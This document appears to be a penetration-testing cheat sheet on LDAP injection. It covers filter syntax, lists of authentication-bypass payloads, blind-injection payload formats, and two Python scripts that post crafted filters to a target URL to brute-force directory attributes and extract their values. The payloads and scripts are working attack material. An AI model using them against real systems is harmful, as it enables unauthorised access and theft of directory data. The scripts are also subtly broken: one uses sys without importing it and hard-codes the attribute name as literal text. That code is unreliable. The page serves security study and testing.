Exploitation - LDAP injections

The Lightweight Directory Access Protocol (LDAP) is an application protocol for accessing and maintaining distributed directory information services.

Web applications may rely on LDAP to access data from a LDAP directory. If user supplied input is passed unsanitized in a LDAP statement, the statement could be altered, leading to potential authentication bypass and directory data disclosure.

LDAP filters consist of one or more criteria, such as (username=John), and logical AND or OR operators. LDAP filters follow the polish notation, with the operators placed in front of the operands (i.e. the criteria).

LDAP logical operators syntax:

OperationSyntaxEquivalent

AND

(&(CRITERIA1)(CRITERIA2))

CRITERIA1 AND CRITERIA2

OR

(|(CRITERIA1)(CRITERIA2))

CRITERIA1 OR CRITERIA2

Nested operation

(|(&(CRITERIA1)(CRITERIA2))(&(CRITERIA3)(CRITERIA4)))

(CRITERIA1 AND CRITERIA2) OR (CRITERIA3 AND CRITERIA4)

LDAP supports the following criteria's rules:

RuleSyntax

Equality

(attribute=x)

Negation

!(attribute=x)

Presence

(attribute=*)

Absence

!(attribute=*)

Greater than

(attribute>=x)

Less than

(attribute<=*)

Wildcards

(attribute=x*z)

LDAP injection vulnerability detection

To detect if an user supplied parameter is inserted unsanitized in a LDAP statement, the wildcard * operator should be supplied. If a change in the application behavior can be noticed, or if a search query returns all available information, the parameter may be vulnerable to LDAP injection.

In order to properly terminate the LDAP statement, multiple closing parenthesis ) may be needed.

*
*)
*))
*)))
...

Authentication bypass

If a web application uses LDAP in its user authentication process, and is vulnerable to LDAP injection, the authentication mechanism could be bypassed by injecting an LDAP query that will always evaluate to true (similarly to SQL and XPATH injections).

For example, if the authentication LDAP statement is (&(username="+user+")(password="+password+") then using *)(uid=*))(|(uid=* as the user parameter would always evaluate to true and allow for authentication bypass.

The following payloads could be used to bypass authentication in a LDAP statement:

*)(uid=*))(|(uid=*
<USERNAME>)(uid=*))(|(uid=*
<USERNAME>*)(uid=*))(|(uid=*
*
<USERNAME>*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(uid=*))
*(|(objectclass=*))
*/*
*|
/
//
//*
@*
|
x' or name()='username' or 'x'='y

Blind LDAP injection

If no data can be directly retrieved through a LDAP statement, neither from the statement response nor from an error message, but the web application comportment varies depending on whether the statement evaluated to true or false, a blind LDAP injection could be possible.

AND / OR blind LDAP injection

LDAP injection may take place in AND or OR statement, each needing a different payload format:

StatementInjectionResulting statementDescription

(&(username=<INPUT1>)(password=<INPUT2>))

INPUT1 = *)(ATTRIBUTE=VALUE))(&(ATTRIBUTE=do_not_matter

(&(username=*)(ATTRIBUTE=VALUE))(&(ATTRIBUTE=do_not_matter)(password=<INPUT2>))

If the ATTRIBUTE has for value VALUE, then the statement is evaluated to True

(|(username=<INPUT1>)(email=<INPUT2>))

INPUT1 = void)(ATTRIBUTE=VALUE))(|(ATTRIBUTE=void INPUT2 = non_existent_entry

(|(username=void)(ATTRIBUTE=VALUE))(|(ATTRIBUTE=void)(email=non_existent_entry))

If the ATTRIBUTE has for value VALUE, then the statement is evaluated to True

Directory attributes brute forcing

The first step in exfiltrating data through a blind LDAP injection is to determine which are the valid attributes in the schema.

The payloads to do so are:

  • AND injection: *)(<ATTRIBUTE>=*))(|(<ATTRIBUTE>=we

  • OR injection: void)(<ATTRIBUTE>=void))(&(<ATTRIBUTE>=void

A comprehensive list of the attributes in the Active Directory, Exchange and OpenLDAP default schema is available: http://www.phpldaptools.com/reference/Default-Schema-Attributes

Note that the following Python script is only provided as an example on how to brute force attributes and should be modified accordingly to the LDAP injection exploited. In particular, the payload and the web application expected comportment should be updated.

from __future__ import print_function
import requests
import urllib
import time

URL = '<URL>'
WORDLIST = '<WORDLIST>'
VULNERABLE_PARAMETER = '<VULNERABLE_PARAMETER>'

def aggressive_url_encode(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

fields = [line.rstrip('\n') for line in open(WORDLIST)]

for field in fields:
    time.sleep(.300)
    # Payload format
    payload = '*)({}=*))(|({}=*'.format(field, field)
    urlencoded = aggressive_url_encode(payload)
    data = {VULNERABLE_PARAMETER: urlencoded}
    r = requests.post(URL, data)
    # Change in comportment to check if the LDAP statement evaluate to true: string in / not in response, response status code or length, etc.
    if 'XXX' in r.text:
        print (field)

Data retrieval

Once the targeted attribute has been identified, the booleanization technique, which consist of transforming a complex value check into a list of TRUE / FALSE statement, can be used to retrieve its value.

In LDAP, the wildcard operator can be used to conduct the booleanization technique:

*)(ATTRIBUTE=a*) -> False
*)(ATTRIBUTE=b*) -> False
*)(ATTRIBUTE=c*) -> True

*)(ATTRIBUTE=ca*) -> False
*)(ATTRIBUTE=cb*) -> True

...

Again, note that the following Python script is only provided as an example on how to brute force attributes and should be modified accordingly to the LDAP injection exploited. In particular, the payload and the web application expected comportment should be updated.

from __future__ import print_function
import requests
import urllib
import string
import time

URL = '<URL>'
ATTRIBUTE = '<ATTRIBUTE>'

RESERVED_CHAR = ['*', ' ', ',', '+', '\\', '/', '<', '>', ':', ';', '=']

def aggressive_url_encode(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

value = ''

is_finished = False
ascii_c = 48

while not is_finished:
  is_finished = True
  while ascii_c < 91:
      c = chr(ascii_c)
      if c in RESERVED_CHAR:
          ascii_c = ascii_c + 1
          continue
      time.sleep(.300)
      payload = '*)(ATTRIBUTE=*))(|(ATTRIBUTE={}{}*'.format(value, c)
      # Payload format
      urlencoded = aggressive_url_encode(payload)
      data = {'inputUsername': urlencoded}
      r = requests.post(URL, data)
      # Change in comportment to check if the LDAP statement evaluate to true: string in / not in response, response status code or length, etc.
      if 'XXX' in r.text:
          is_finished = False
          value = value + c
          sys.stdout.write(c)
          sys.stdout.flush()
          ascii_c = 48
      else:
          ascii_c = ascii_c + 1

print ('{}: {} Length: {}'.format(ATTRIBUTE, value, len(value)))

References

http://www.ldapexplorer.com/en/manual/109010000-ldap-filter-syntax.htm https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

Last updated